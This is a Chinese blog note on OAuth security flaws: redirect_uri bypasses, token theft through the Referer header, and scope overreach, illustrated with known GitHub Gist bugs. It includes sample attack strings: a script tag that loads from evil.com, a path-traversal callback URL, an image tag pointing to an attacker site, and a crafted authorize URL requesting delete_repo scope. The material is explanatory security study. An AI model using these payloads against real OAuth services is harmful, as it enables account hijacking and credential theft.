OAuth的问题及隐患
2019-03-29 14:11:31    524    0    0
gaara

攻击面

  • CSRF导致绑定劫持
  • redirect_uri绕过导致授权劫持
  • scope越权访问


 

授权劫持 根据OAuth的认证流程,用户授权凭证会由服务器转发到redirect_uri对应的地址,如果攻击者伪造redirect_uri为自己的地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址.攻击者使用该凭证即可登录用户账号,造成授权劫持. 正常情况下,为了防止该情况出现,认证服务器会验证自己的client_id与回调地址是否对应.常见的方法是验证回调地址的主域,涉及到的突破方式与CSRF如出一辙

 

子域可控

  • 对回调地址验证了主域为app.com,但其子域evil.app.com可被任意用户注册使用.

跨域

  • 利用可信域的url跳转从referer偷取token

  • 利用跨域请求从referer偷取token
redirect_uri = http://app.com/ajax/cat.html?callback=<script src="http://evil.com?getToken.php"></script>

越权访问

 

GitHub的一些例子:

第一个Bug — 没有检查重定向URL中的/../

eg:

https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE​

第二个BUG — 没有校验token

eg:

token的生成要考虑redirect_uri,这样,当URL跳转的时候,会把redirect_uri和token带到
跳转页面(这里的跳转页面还是github自己的),跳转页面的服务端程序要用redirect_uri
来生成一个token,看看是不是和传来的token是一个样的。这就是所谓的对URL进行签名——以
保证URL的不被人篡改。一般来说,对URL签名和对签名验证的因子包括,源IP,服务器时间
截,session,或是再加个salt什么的。

第三个BUG — 注入跨站图片

eg:

<img src=”///attackersite.com”>
我们就可以使用这样的方式给gist注入了一个第三方站点的图片(github的服务端没有察觉
到(因为我们前面说过大多数语言的URL检查库都会被 Bypass了),但是浏览器端
把这个链接解释到了第三方的站点上),于是请求这个图片的http头中的refere 
中包含用户当前页面的URL,也包含了用户授权的code。

第四个bug – Gist把github_token放在了cookie里

第五个Bug – 自动给gist授权

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications

 https://gaara-xu.com:8443/cas/oauth2.0/authorize?response_type=code&client_id=20190315&redirect_uri=http://127.0.0.1:8888 

Pre: 解决Thymeleaf静态资源的问题

Next: CAS和Oauth2的组合

524
Sign in to leave a comment.
No Leanote account? Sign up now.
0 comments
Table of content